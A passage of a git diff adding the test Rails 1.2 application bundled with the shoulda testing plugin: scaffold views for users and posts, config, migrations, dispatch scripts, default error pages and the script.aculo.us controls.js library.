    + Body
    + <%= f.text_area :body %> +

    + +

    + <%= submit_tag "Update" %> +

    +<% end %> + +<%= link_to 'Show', post_path(@post.user, @post) %> | +<%= link_to 'Back', posts_path(@post.user) %> \ No newline at end of file diff --git a/vendor/plugins/shoulda/test/rails_root/app/views/posts/index.rhtml b/vendor/plugins/shoulda/test/rails_root/app/views/posts/index.rhtml new file mode 100644 index 0000000..d4c1713 --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/app/views/posts/index.rhtml @@ -0,0 +1,24 @@ +

    Listing posts

    + + + + + + + + +<% for post in @posts %> + + + + + + + + +<% end %> +
    UserTitleBody
    <%=h post.user_id %><%=h post.title %><%=h post.body %><%= link_to 'Show', post_path(post.user, post) %><%= link_to 'Edit', edit_post_path(post.user, post) %><%= link_to 'Destroy', post_path(post.user, post), :confirm => 'Are you sure?', :method => :delete %>
    + +
    + +<%= link_to 'New post', new_post_path(post.user) %> \ No newline at end of file diff --git a/vendor/plugins/shoulda/test/rails_root/app/views/posts/new.rhtml b/vendor/plugins/shoulda/test/rails_root/app/views/posts/new.rhtml new file mode 100644 index 0000000..bae6a34 --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/app/views/posts/new.rhtml @@ -0,0 +1,26 @@ +

    New post

    + +<%= error_messages_for :post %> + +<% form_for(:post, :url => posts_path(@user)) do |f| %> +

    + User
    + <%= f.text_field :user_id %> +

    + +

    + Title
    + <%= f.text_field :title %> +

    + +

    + Body
    + <%= f.text_area :body %> +

    + +

    + <%= submit_tag "Create" %> +

    +<% end %> + +<%= link_to 'Back', posts_path(@user) %> \ No newline at end of file diff --git a/vendor/plugins/shoulda/test/rails_root/app/views/posts/show.rhtml b/vendor/plugins/shoulda/test/rails_root/app/views/posts/show.rhtml new file mode 100644 index 0000000..393bb74 --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/app/views/posts/show.rhtml @@ -0,0 +1,18 @@ +

    + User: + <%=h @post.user_id %> +

    + +

    + Title: + <%=h @post.title %> +

    + +

    + Body: + <%=h @post.body %> +

    + + +<%= link_to 'Edit', edit_post_path(@post.user, @post) %> | +<%= link_to 'Back', posts_path(@post.user) %> \ No newline at end of file diff --git a/vendor/plugins/shoulda/test/rails_root/app/views/users/edit.rhtml b/vendor/plugins/shoulda/test/rails_root/app/views/users/edit.rhtml new file mode 100644 index 0000000..9c47ad5 --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/app/views/users/edit.rhtml @@ -0,0 +1,22 @@ +

    Editing user

    + +<%= error_messages_for :user %> + +<% form_for(:user, :url => user_path(@user), :html => { :method => :put }) do |f| %> +

    + Email
    + <%= f.text_field :email %> +

    + +

    + Age
    + <%= f.text_field :age %> +

    + +

    + <%= submit_tag "Update" %> +

    +<% end %> + +<%= link_to 'Show', user_path(@user) %> | +<%= link_to 'Back', users_path %> \ No newline at end of file diff --git a/vendor/plugins/shoulda/test/rails_root/app/views/users/index.rhtml b/vendor/plugins/shoulda/test/rails_root/app/views/users/index.rhtml new file mode 100644 index 0000000..83f2e91 --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/app/views/users/index.rhtml @@ -0,0 +1,22 @@ +

    Listing users

    + + + + + + + +<% for user in @users %> + + + + + + + +<% end %> +
    EmailAge
    <%=h user.email %><%=h user.age %><%= link_to 'Show', user_path(user) %><%= link_to 'Edit', edit_user_path(user) %><%= link_to 'Destroy', user_path(user), :confirm => 'Are you sure?', :method => :delete %>
    + +
    + +<%= link_to 'New user', new_user_path %> \ No newline at end of file diff --git a/vendor/plugins/shoulda/test/rails_root/app/views/users/new.rhtml b/vendor/plugins/shoulda/test/rails_root/app/views/users/new.rhtml new file mode 100644 index 0000000..6f2c3a4 --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/app/views/users/new.rhtml @@ -0,0 +1,21 @@ +

    New user

    + +<%= error_messages_for :user %> + +<% form_for(:user, :url => users_path) do |f| %> +

    + Email
    + <%= f.text_field :email %> +

    + +

    + Age
    + <%= f.text_field :age %> +

    + +

    + <%= submit_tag "Create" %> +

    +<% end %> + +<%= link_to 'Back', users_path %> \ No newline at end of file diff --git a/vendor/plugins/shoulda/test/rails_root/app/views/users/show.rhtml b/vendor/plugins/shoulda/test/rails_root/app/views/users/show.rhtml new file mode 100644 index 0000000..bdcad8a --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/app/views/users/show.rhtml @@ -0,0 +1,13 @@ +

    + Email: + <%=h @user.email %> +

    + +

    + Age: + <%=h @user.age %> +

    + + +<%= link_to 'Edit', edit_user_path(@user) %> | +<%= link_to 'Back', users_path %> \ No newline at end of file diff --git a/vendor/plugins/shoulda/test/rails_root/config/boot.rb b/vendor/plugins/shoulda/test/rails_root/config/boot.rb new file mode 100644 index 0000000..b7af0c3 --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/config/boot.rb @@ -0,0 +1,45 @@ +# Don't change this file. Configuration is done in config/environment.rb and config/environments/*.rb + +unless defined?(RAILS_ROOT) + root_path = File.join(File.dirname(__FILE__), '..') + + unless RUBY_PLATFORM =~ /(:?mswin|mingw)/ + require 'pathname' + root_path = Pathname.new(root_path).cleanpath(true).to_s + end + + RAILS_ROOT = root_path +end + +unless defined?(Rails::Initializer) + if File.directory?("#{RAILS_ROOT}/vendor/rails") + require "#{RAILS_ROOT}/vendor/rails/railties/lib/initializer" + else + require 'rubygems' + + environment_without_comments = IO.readlines(File.dirname(__FILE__) + '/environment.rb').reject { |l| l =~ /^#/ }.join + environment_without_comments =~ /[^#]RAILS_GEM_VERSION = '([\d.]+)'/ + rails_gem_version = $1 + + if version = defined?(RAILS_GEM_VERSION) ? RAILS_GEM_VERSION : rails_gem_version + # Asking for 1.1.6 will give you 1.1.6.5206, if available -- makes it easier to use beta gems + rails_gem = Gem.cache.search('rails', "~>#{version}.0").sort_by { |g| g.version.version }.last + + if rails_gem + gem "rails", "=#{rails_gem.version.version}" + require rails_gem.full_gem_path + '/lib/initializer' + else + STDERR.puts %(Cannot find gem for Rails ~>#{version}.0: + Install the missing gem with 'gem install -v=#{version} rails', or + change environment.rb to define RAILS_GEM_VERSION with your desired version. + ) + exit 1 + end + else + gem "rails" + require 'initializer' + end + end + + Rails::Initializer.run(:set_load_path) +end diff --git a/vendor/plugins/shoulda/test/rails_root/config/database.yml b/vendor/plugins/shoulda/test/rails_root/config/database.yml new file mode 100644 index 0000000..dd7027f --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/config/database.yml @@ -0,0 +1,4 @@ +sqlite3: + :adapter: sqlite3 + # :dbfile: db/sqlite3.db + :dbfile: ":memory:" diff --git a/vendor/plugins/shoulda/test/rails_root/config/environment.rb b/vendor/plugins/shoulda/test/rails_root/config/environment.rb new file mode 100644 index 0000000..4ee7001 --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/config/environment.rb @@ -0,0 +1,19 @@ +# Specifies gem version of Rails to use when vendor/rails is not present +old_verbose, $VERBOSE = $VERBOSE, nil +RAILS_GEM_VERSION = '1.2.3' +$VERBOSE = old_verbose + +require File.join(File.dirname(__FILE__), 'boot') + +Rails::Initializer.run do |config| + # Someday, I'm going to find a way of getting rid of that symlink... + # config.plugin_paths = ['../../../'] + # config.plugins = [:shoulda] + config.log_level = :debug + config.cache_classes = false + config.whiny_nils = true + config.breakpoint_server = true + config.load_paths << File.join(File.dirname(__FILE__), *%w{.. .. .. lib}) +end + +Dependencies.log_activity = true \ No newline at end of file diff --git a/vendor/plugins/shoulda/test/rails_root/config/environments/sqlite3.rb b/vendor/plugins/shoulda/test/rails_root/config/environments/sqlite3.rb new file mode 100644 index 0000000..e69de29 diff --git a/vendor/plugins/shoulda/test/rails_root/config/routes.rb b/vendor/plugins/shoulda/test/rails_root/config/routes.rb new file mode 100644 index 0000000..d67e2c6 --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/config/routes.rb @@ -0,0 +1,5 @@ +ActionController::Routing::Routes.draw do |map| + map.resources :users do |user| + user.resources :posts + end +end diff --git a/vendor/plugins/shoulda/test/rails_root/db/migrate/001_create_users.rb b/vendor/plugins/shoulda/test/rails_root/db/migrate/001_create_users.rb new file mode 100644 index 0000000..3c6423e --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/db/migrate/001_create_users.rb @@ -0,0 +1,13 @@ +class CreateUsers < ActiveRecord::Migration + def self.up + create_table :users do |t| + t.column :name, :string + t.column :email, :string + t.column :age, :integer + end + end + + def self.down + drop_table :users + end +end diff --git a/vendor/plugins/shoulda/test/rails_root/db/migrate/002_create_posts.rb b/vendor/plugins/shoulda/test/rails_root/db/migrate/002_create_posts.rb new file mode 100644 index 0000000..9ed4deb --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/db/migrate/002_create_posts.rb @@ -0,0 +1,13 @@ +class CreatePosts < ActiveRecord::Migration + def self.up + create_table :posts do |t| + t.column :user_id, :integer + t.column :title, :string + t.column :body, :text + end + end + + def self.down + drop_table :posts + end +end diff --git a/vendor/plugins/shoulda/test/rails_root/db/migrate/003_create_taggings.rb b/vendor/plugins/shoulda/test/rails_root/db/migrate/003_create_taggings.rb new file mode 100644 index 0000000..e163a0a --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/db/migrate/003_create_taggings.rb @@ -0,0 +1,12 @@ +class CreateTaggings < ActiveRecord::Migration + def self.up + create_table :taggings do |t| + t.column :post_id, :integer + t.column :tag_id, :integer + end + end + + def self.down + drop_table :taggings + end +end diff --git a/vendor/plugins/shoulda/test/rails_root/db/migrate/004_create_tags.rb b/vendor/plugins/shoulda/test/rails_root/db/migrate/004_create_tags.rb new file mode 100644 index 0000000..dc58c4f --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/db/migrate/004_create_tags.rb @@ -0,0 +1,11 @@ +class CreateTags < ActiveRecord::Migration + def self.up + create_table :tags do |t| + t.column :name, :string + end + end + + def self.down + drop_table :tags + end +end diff --git a/vendor/plugins/shoulda/test/rails_root/db/migrate/005_create_dogs.rb b/vendor/plugins/shoulda/test/rails_root/db/migrate/005_create_dogs.rb new file mode 100644 index 0000000..a0d8e03 --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/db/migrate/005_create_dogs.rb @@ -0,0 +1,11 @@ +class CreateDogs < ActiveRecord::Migration + def self.up + create_table :dogs do |t| + t.column :owner_id, :integer + end + end + + def self.down + drop_table :dogs + end +end diff --git a/vendor/plugins/shoulda/test/rails_root/db/schema.rb b/vendor/plugins/shoulda/test/rails_root/db/schema.rb new file mode 100644 index 0000000..e69de29 diff --git a/vendor/plugins/shoulda/test/rails_root/doc/README_FOR_APP b/vendor/plugins/shoulda/test/rails_root/doc/README_FOR_APP new file mode 100644 index 0000000..ac6c149 --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/doc/README_FOR_APP @@ -0,0 +1,2 @@ +Use this README file to introduce your application and point to useful places in the API for learning more. +Run "rake appdoc" to generate API documentation for your models and controllers. \ No newline at end of file diff --git a/vendor/plugins/shoulda/test/rails_root/public/.htaccess b/vendor/plugins/shoulda/test/rails_root/public/.htaccess new file mode 100644 index 0000000..d3c9983 --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/public/.htaccess @@ -0,0 +1,40 @@ +# General Apache options +AddHandler fastcgi-script .fcgi +AddHandler cgi-script .cgi +Options +FollowSymLinks +ExecCGI + +# If you don't want Rails to look in certain directories, +# use the following rewrite rules so that Apache won't rewrite certain requests +# +# Example: +# RewriteCond %{REQUEST_URI} ^/notrails.* +# RewriteRule .* - [L] + +# Redirect all requests not available on the filesystem to Rails +# By default the cgi dispatcher is used which is very slow +# +# For better performance replace the dispatcher with the fastcgi one +# +# Example: +# RewriteRule ^(.*)$ dispatch.fcgi [QSA,L] +RewriteEngine On + +# If your Rails application is accessed via an Alias directive, +# then you MUST also set the RewriteBase in this htaccess file. +# +# Example: +# Alias /myrailsapp /path/to/myrailsapp/public +# RewriteBase /myrailsapp + +RewriteRule ^$ index.html [QSA] +RewriteRule ^([^.]+)$ $1.html [QSA] +RewriteCond %{REQUEST_FILENAME} !-f +RewriteRule ^(.*)$ dispatch.cgi [QSA,L] + +# In case Rails experiences terminal errors +# Instead of displaying this message you can supply a file here which will be rendered instead +# +# Example: +# ErrorDocument 500 /500.html + +ErrorDocument 500 "

    Application error

    Rails application failed to start properly" \ No newline at end of file diff --git a/vendor/plugins/shoulda/test/rails_root/public/404.html b/vendor/plugins/shoulda/test/rails_root/public/404.html new file mode 100644 index 0000000..eff660b --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/public/404.html @@ -0,0 +1,30 @@ + + + + + + + The page you were looking for doesn't exist (404) + + + + + +
    +

    The page you were looking for doesn't exist.

    +

    You may have mistyped the address or the page may have moved.

    +
    + + \ No newline at end of file diff --git a/vendor/plugins/shoulda/test/rails_root/public/500.html b/vendor/plugins/shoulda/test/rails_root/public/500.html new file mode 100644 index 0000000..f0aee0e --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/public/500.html @@ -0,0 +1,30 @@ + + + + + + + We're sorry, but something went wrong + + + + + +
    +

    We're sorry, but something went wrong.

    +

    We've been notified about this issue and we'll take a look at it shortly.

    +
    + + \ No newline at end of file diff --git a/vendor/plugins/shoulda/test/rails_root/public/dispatch.cgi b/vendor/plugins/shoulda/test/rails_root/public/dispatch.cgi new file mode 100755 index 0000000..a76782a --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/public/dispatch.cgi @@ -0,0 +1,10 @@ +#!/opt/local/bin/ruby + +require File.dirname(__FILE__) + "/../config/environment" unless defined?(RAILS_ROOT) + +# If you're using RubyGems and mod_ruby, this require should be changed to an absolute path one, like: +# "/usr/local/lib/ruby/gems/1.8/gems/rails-0.8.0/lib/dispatcher" -- otherwise performance is severely impaired +require "dispatcher" + +ADDITIONAL_LOAD_PATHS.reverse.each { |dir| $:.unshift(dir) if File.directory?(dir) } if defined?(Apache::RubyRun) +Dispatcher.dispatch \ No newline at end of file diff --git a/vendor/plugins/shoulda/test/rails_root/public/dispatch.fcgi b/vendor/plugins/shoulda/test/rails_root/public/dispatch.fcgi new file mode 100755 index 0000000..a526766 --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/public/dispatch.fcgi @@ -0,0 +1,24 @@ +#!/opt/local/bin/ruby +# +# You may specify the path to the FastCGI crash log (a log of unhandled +# exceptions which forced the FastCGI instance to exit, great for debugging) +# and the number of requests to process before running garbage collection. +# +# By default, the FastCGI crash log is RAILS_ROOT/log/fastcgi.crash.log +# and the GC period is nil (turned off). A reasonable number of requests +# could range from 10-100 depending on the memory footprint of your app. +# +# Example: +# # Default log path, normal GC behavior. +# RailsFCGIHandler.process! +# +# # Default log path, 50 requests between GC. +# RailsFCGIHandler.process! nil, 50 +# +# # Custom log path, normal GC behavior. +# RailsFCGIHandler.process! '/var/log/myapp_fcgi_crash.log' +# +require File.dirname(__FILE__) + "/../config/environment" +require 'fcgi_handler' + +RailsFCGIHandler.process! diff --git a/vendor/plugins/shoulda/test/rails_root/public/dispatch.rb b/vendor/plugins/shoulda/test/rails_root/public/dispatch.rb new file mode 100755 index 0000000..a76782a --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/public/dispatch.rb @@ -0,0 +1,10 @@ +#!/opt/local/bin/ruby + +require File.dirname(__FILE__) + "/../config/environment" unless defined?(RAILS_ROOT) + +# If you're using RubyGems and mod_ruby, this require should be changed to an absolute path one, like: +# "/usr/local/lib/ruby/gems/1.8/gems/rails-0.8.0/lib/dispatcher" -- otherwise performance is severely impaired +require "dispatcher" + +ADDITIONAL_LOAD_PATHS.reverse.each { |dir| $:.unshift(dir) if File.directory?(dir) } if defined?(Apache::RubyRun) +Dispatcher.dispatch \ No newline at end of file diff --git a/vendor/plugins/shoulda/test/rails_root/public/favicon.ico b/vendor/plugins/shoulda/test/rails_root/public/favicon.ico new file mode 100644 index 0000000..e69de29 diff --git a/vendor/plugins/shoulda/test/rails_root/public/images/rails.png b/vendor/plugins/shoulda/test/rails_root/public/images/rails.png new file mode 100644 index 0000000..b8441f1 Binary files /dev/null and b/vendor/plugins/shoulda/test/rails_root/public/images/rails.png differ diff --git a/vendor/plugins/shoulda/test/rails_root/public/index.html b/vendor/plugins/shoulda/test/rails_root/public/index.html new file mode 100644 index 0000000..a2daab7 --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/public/index.html @@ -0,0 +1,277 @@ + + + + + Ruby on Rails: Welcome aboard + + + + + + +
    + + +
    + + + + +
    +

    Getting started

    +

    Here’s how to get rolling:

    + +
      +
    1. +

      Create your databases and edit config/database.yml

      +

      Rails needs to know your login and password.

      +
    2. + +
    3. +

      Use script/generate to create your models and controllers

      +

      To see all available options, run it without parameters.

      +
    4. + +
    5. +

      Set up a default route and remove or rename this file

      +

      Routes are setup in config/routes.rb.

      +
    6. +
    +
    +
    + + +
    + + \ No newline at end of file diff --git a/vendor/plugins/shoulda/test/rails_root/public/javascripts/application.js b/vendor/plugins/shoulda/test/rails_root/public/javascripts/application.js new file mode 100644 index 0000000..fe45776 --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/public/javascripts/application.js @@ -0,0 +1,2 @@ +// Place your application-specific JavaScript functions and classes here +// This file is automatically included by javascript_include_tag :defaults diff --git a/vendor/plugins/shoulda/test/rails_root/public/javascripts/controls.js b/vendor/plugins/shoulda/test/rails_root/public/javascripts/controls.js new file mode 100644 index 0000000..8c273f8 --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/public/javascripts/controls.js @@ -0,0 +1,833 @@ +// Copyright (c) 2005, 2006 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us) +// (c) 2005, 2006 Ivan Krstic (http://blogs.law.harvard.edu/ivan) +// (c) 2005, 2006 Jon Tirsen (http://www.tirsen.com) +// Contributors: +// Richard Livsey +// Rahul Bhargava +// Rob Wills +// +// script.aculo.us is freely distributable under the terms of an MIT-style license. +// For details, see the script.aculo.us web site: http://script.aculo.us/ + +// Autocompleter.Base handles all the autocompletion functionality +// that's independent of the data source for autocompletion. This +// includes drawing the autocompletion menu, observing keyboard +// and mouse events, and similar. +// +// Specific autocompleters need to provide, at the very least, +// a getUpdatedChoices function that will be invoked every time +// the text inside the monitored textbox changes. This method +// should get the text for which to provide autocompletion by +// invoking this.getToken(), NOT by directly accessing +// this.element.value. This is to allow incremental tokenized +// autocompletion. Specific auto-completion logic (AJAX, etc) +// belongs in getUpdatedChoices. +// +// Tokenized incremental autocompletion is enabled automatically +// when an autocompleter is instantiated with the 'tokens' option +// in the options parameter, e.g.: +// new Ajax.Autocompleter('id','upd', '/url/', { tokens: ',' }); +// will incrementally autocomplete with a comma as the token. +// Additionally, ',' in the above example can be replaced with +// a token array, e.g. { tokens: [',', '\n'] } which +// enables autocompletion on multiple tokens. This is most +// useful when one of the tokens is \n (a newline), as it +// allows smart autocompletion after linebreaks. + +if(typeof Effect == 'undefined') + throw("controls.js requires including script.aculo.us' effects.js library"); + +var Autocompleter = {} +Autocompleter.Base = function() {}; +Autocompleter.Base.prototype = { + baseInitialize: function(element, update, options) { + this.element = $(element); + this.update = $(update); + this.hasFocus = false; + this.changed = false; + this.active = false; + this.index = 0; + this.entryCount = 0; + + if(this.setOptions) + this.setOptions(options); + else + this.options = options || {}; + + this.options.paramName = this.options.paramName || this.element.name; + this.options.tokens = this.options.tokens || []; + this.options.frequency = this.options.frequency || 0.4; + this.options.minChars = this.options.minChars || 1; + this.options.onShow = this.options.onShow || + function(element, update){ + if(!update.style.position || update.style.position=='absolute') { + update.style.position = 'absolute'; + Position.clone(element, update, { + setHeight: false, + offsetTop: element.offsetHeight + }); + } + Effect.Appear(update,{duration:0.15}); + }; + this.options.onHide = this.options.onHide || + function(element, update){ new Effect.Fade(update,{duration:0.15}) }; + + if(typeof(this.options.tokens) == 'string') + this.options.tokens = new Array(this.options.tokens); + + this.observer = null; + + this.element.setAttribute('autocomplete','off'); + + Element.hide(this.update); + + Event.observe(this.element, "blur", this.onBlur.bindAsEventListener(this)); + Event.observe(this.element, "keypress", this.onKeyPress.bindAsEventListener(this)); + }, + + show: function() { + if(Element.getStyle(this.update, 'display')=='none') this.options.onShow(this.element, this.update); + if(!this.iefix && + (navigator.appVersion.indexOf('MSIE')>0) && + (navigator.userAgent.indexOf('Opera')<0) && + (Element.getStyle(this.update, 'position')=='absolute')) { + new Insertion.After(this.update, + ''); + this.iefix = $(this.update.id+'_iefix'); + } + if(this.iefix) setTimeout(this.fixIEOverlapping.bind(this), 50); + }, + + fixIEOverlapping: function() { + Position.clone(this.update, this.iefix, {setTop:(!this.update.style.height)}); + this.iefix.style.zIndex = 1; + this.update.style.zIndex = 2; + Element.show(this.iefix); + }, + + hide: function() { + this.stopIndicator(); + if(Element.getStyle(this.update, 'display')!='none') this.options.onHide(this.element, this.update); + if(this.iefix) Element.hide(this.iefix); + }, + + startIndicator: function() { + if(this.options.indicator) Element.show(this.options.indicator); + }, + + stopIndicator: function() { + if(this.options.indicator) Element.hide(this.options.indicator); + }, + + onKeyPress: function(event) { + if(this.active) + switch(event.keyCode) { + case Event.KEY_TAB: + case Event.KEY_RETURN: + this.selectEntry(); + Event.stop(event); + case Event.KEY_ESC: + this.hide(); + this.active = false; + Event.stop(event); + return; + case Event.KEY_LEFT: + case Event.KEY_RIGHT: + return; + case Event.KEY_UP: + this.markPrevious(); + this.render(); + if(navigator.appVersion.indexOf('AppleWebKit')>0) Event.stop(event); + return; + case Event.KEY_DOWN: + this.markNext(); + this.render(); + if(navigator.appVersion.indexOf('AppleWebKit')>0) Event.stop(event); + return; + } + else + if(event.keyCode==Event.KEY_TAB || event.keyCode==Event.KEY_RETURN || + (navigator.appVersion.indexOf('AppleWebKit') > 0 && event.keyCode == 0)) return; + + this.changed = true; + this.hasFocus = true; + + if(this.observer) clearTimeout(this.observer); + this.observer = + setTimeout(this.onObserverEvent.bind(this), this.options.frequency*1000); + }, + + activate: function() { + this.changed = false; + this.hasFocus = true; + this.getUpdatedChoices(); + }, + + onHover: function(event) { + var element = Event.findElement(event, 'LI'); + if(this.index != element.autocompleteIndex) + { + this.index = element.autocompleteIndex; + this.render(); + } + Event.stop(event); + }, + + onClick: function(event) { + var element = Event.findElement(event, 'LI'); + this.index = element.autocompleteIndex; + this.selectEntry(); + this.hide(); + }, + + onBlur: function(event) { + // needed to make click events working + setTimeout(this.hide.bind(this), 250); + this.hasFocus = false; + this.active = false; + }, + + render: function() { + if(this.entryCount > 0) { + for (var i = 0; i < this.entryCount; i++) + this.index==i ? + Element.addClassName(this.getEntry(i),"selected") : + Element.removeClassName(this.getEntry(i),"selected"); + + if(this.hasFocus) { + this.show(); + this.active = true; + } + } else { + this.active = false; + this.hide(); + } + }, + + markPrevious: function() { + if(this.index > 0) this.index-- + else this.index = this.entryCount-1; + this.getEntry(this.index).scrollIntoView(true); + }, + + markNext: function() { + if(this.index < this.entryCount-1) this.index++ + else this.index = 0; + this.getEntry(this.index).scrollIntoView(false); + }, + + getEntry: function(index) { + return this.update.firstChild.childNodes[index]; + }, + + getCurrentEntry: function() { + return this.getEntry(this.index); + }, + + selectEntry: function() { + this.active = false; + this.updateElement(this.getCurrentEntry()); + }, + + updateElement: function(selectedElement) { + if (this.options.updateElement) { + this.options.updateElement(selectedElement); + return; + } + var value = ''; + if (this.options.select) { + var nodes = document.getElementsByClassName(this.options.select, selectedElement) || []; + if(nodes.length>0) value = Element.collectTextNodes(nodes[0], this.options.select); + } else + value = Element.collectTextNodesIgnoreClass(selectedElement, 'informal'); + + var lastTokenPos = this.findLastToken(); + if (lastTokenPos != -1) { + var newValue = this.element.value.substr(0, lastTokenPos + 1); + var whitespace = this.element.value.substr(lastTokenPos + 1).match(/^\s+/); + if (whitespace) + newValue += whitespace[0]; + this.element.value = newValue + value; + } else { + this.element.value = value; + } + this.element.focus(); + + if (this.options.afterUpdateElement) + this.options.afterUpdateElement(this.element, selectedElement); + }, + + updateChoices: function(choices) { + if(!this.changed && this.hasFocus) { + this.update.innerHTML = choices; + Element.cleanWhitespace(this.update); + Element.cleanWhitespace(this.update.down()); + + if(this.update.firstChild && this.update.down().childNodes) { + this.entryCount = + this.update.down().childNodes.length; + for (var i = 0; i < this.entryCount; i++) { + var entry = this.getEntry(i); + entry.autocompleteIndex = i; + this.addObservers(entry); + } + } else { + this.entryCount = 0; + } + + this.stopIndicator(); + this.index = 0; + + if(this.entryCount==1 && this.options.autoSelect) { + this.selectEntry(); + this.hide(); + } else { + this.render(); + } + } + }, + + addObservers: function(element) { + Event.observe(element, "mouseover", this.onHover.bindAsEventListener(this)); + Event.observe(element, "click", this.onClick.bindAsEventListener(this)); + }, + + onObserverEvent: function() { + this.changed = false; + if(this.getToken().length>=this.options.minChars) { + this.startIndicator(); + this.getUpdatedChoices(); + } else { + this.active = false; + this.hide(); + } + }, + + getToken: function() { + var tokenPos = this.findLastToken(); + if (tokenPos != -1) + var ret = this.element.value.substr(tokenPos + 1).replace(/^\s+/,'').replace(/\s+$/,''); + else + var ret = this.element.value; + + return /\n/.test(ret) ? '' : ret; + }, + + findLastToken: function() { + var lastTokenPos = -1; + + for (var i=0; i lastTokenPos) + lastTokenPos = thisTokenPos; + } + return lastTokenPos; + } +} + +Ajax.Autocompleter = Class.create(); +Object.extend(Object.extend(Ajax.Autocompleter.prototype, Autocompleter.Base.prototype), { + initialize: function(element, update, url, options) { + this.baseInitialize(element, update, options); + this.options.asynchronous = true; + this.options.onComplete = this.onComplete.bind(this); + this.options.defaultParams = this.options.parameters || null; + this.url = url; + }, + + getUpdatedChoices: function() { + entry = encodeURIComponent(this.options.paramName) + '=' + + encodeURIComponent(this.getToken()); + + this.options.parameters = this.options.callback ? + this.options.callback(this.element, entry) : entry; + + if(this.options.defaultParams) + this.options.parameters += '&' + this.options.defaultParams; + + new Ajax.Request(this.url, this.options); + }, + + onComplete: function(request) { + this.updateChoices(request.responseText); + } + +}); + +// The local array autocompleter. Used when you'd prefer to +// inject an array of autocompletion options into the page, rather +// than sending out Ajax queries, which can be quite slow sometimes. +// +// The constructor takes four parameters. The first two are, as usual, +// the id of the monitored textbox, and id of the autocompletion menu. +// The third is the array you want to autocomplete from, and the fourth +// is the options block. +// +// Extra local autocompletion options: +// - choices - How many autocompletion choices to offer +// +// - partialSearch - If false, the autocompleter will match entered +// text only at the beginning of strings in the +// autocomplete array. Defaults to true, which will +// match text at the beginning of any *word* in the +// strings in the autocomplete array. If you want to +// search anywhere in the string, additionally set +// the option fullSearch to true (default: off). +// +// - fullSsearch - Search anywhere in autocomplete array strings. +// +// - partialChars - How many characters to enter before triggering +// a partial match (unlike minChars, which defines +// how many characters are required to do any match +// at all). Defaults to 2. +// +// - ignoreCase - Whether to ignore case when autocompleting. +// Defaults to true. +// +// It's possible to pass in a custom function as the 'selector' +// option, if you prefer to write your own autocompletion logic. +// In that case, the other options above will not apply unless +// you support them. + +Autocompleter.Local = Class.create(); +Autocompleter.Local.prototype = Object.extend(new Autocompleter.Base(), { + initialize: function(element, update, array, options) { + this.baseInitialize(element, update, options); + this.options.array = array; + }, + + getUpdatedChoices: function() { + this.updateChoices(this.options.selector(this)); + }, + + setOptions: function(options) { + this.options = Object.extend({ + choices: 10, + partialSearch: true, + partialChars: 2, + ignoreCase: true, + fullSearch: false, + selector: function(instance) { + var ret = []; // Beginning matches + var partial = []; // Inside matches + var entry = instance.getToken(); + var count = 0; + + for (var i = 0; i < instance.options.array.length && + ret.length < instance.options.choices ; i++) { + + var elem = instance.options.array[i]; + var foundPos = instance.options.ignoreCase ? + elem.toLowerCase().indexOf(entry.toLowerCase()) : + elem.indexOf(entry); + + while (foundPos != -1) { + if (foundPos == 0 && elem.length != entry.length) { + ret.push("
  • " + elem.substr(0, entry.length) + "" + + elem.substr(entry.length) + "
  • "); + break; + } else if (entry.length >= instance.options.partialChars && + instance.options.partialSearch && foundPos != -1) { + if (instance.options.fullSearch || /\s/.test(elem.substr(foundPos-1,1))) { + partial.push("
  • " + elem.substr(0, foundPos) + "" + + elem.substr(foundPos, entry.length) + "" + elem.substr( + foundPos + entry.length) + "
  • "); + break; + } + } + + foundPos = instance.options.ignoreCase ? + elem.toLowerCase().indexOf(entry.toLowerCase(), foundPos + 1) : + elem.indexOf(entry, foundPos + 1); + + } + } + if (partial.length) + ret = ret.concat(partial.slice(0, instance.options.choices - ret.length)) + return "
      " + ret.join('') + "
    "; + } + }, options || {}); + } +}); + +// AJAX in-place editor +// +// see documentation on http://wiki.script.aculo.us/scriptaculous/show/Ajax.InPlaceEditor + +// Use this if you notice weird scrolling problems on some browsers, +// the DOM might be a bit confused when this gets called so do this +// waits 1 ms (with setTimeout) until it does the activation +Field.scrollFreeActivate = function(field) { + setTimeout(function() { + Field.activate(field); + }, 1); +} + +Ajax.InPlaceEditor = Class.create(); +Ajax.InPlaceEditor.defaultHighlightColor = "#FFFF99"; +Ajax.InPlaceEditor.prototype = { + initialize: function(element, url, options) { + this.url = url; + this.element = $(element); + + this.options = Object.extend({ + paramName: "value", + okButton: true, + okText: "ok", + cancelLink: true, + cancelText: "cancel", + savingText: "Saving...", + clickToEditText: "Click to edit", + okText: "ok", + rows: 1, + onComplete: function(transport, element) { + new Effect.Highlight(element, {startcolor: this.options.highlightcolor}); + }, + onFailure: function(transport) { + alert("Error communicating with the server: " + transport.responseText.stripTags()); + }, + callback: function(form) { + return Form.serialize(form); + }, + handleLineBreaks: true, + loadingText: 'Loading...', + savingClassName: 'inplaceeditor-saving', + loadingClassName: 'inplaceeditor-loading', + formClassName: 'inplaceeditor-form', + highlightcolor: Ajax.InPlaceEditor.defaultHighlightColor, + highlightendcolor: "#FFFFFF", + externalControl: null, + submitOnBlur: false, + 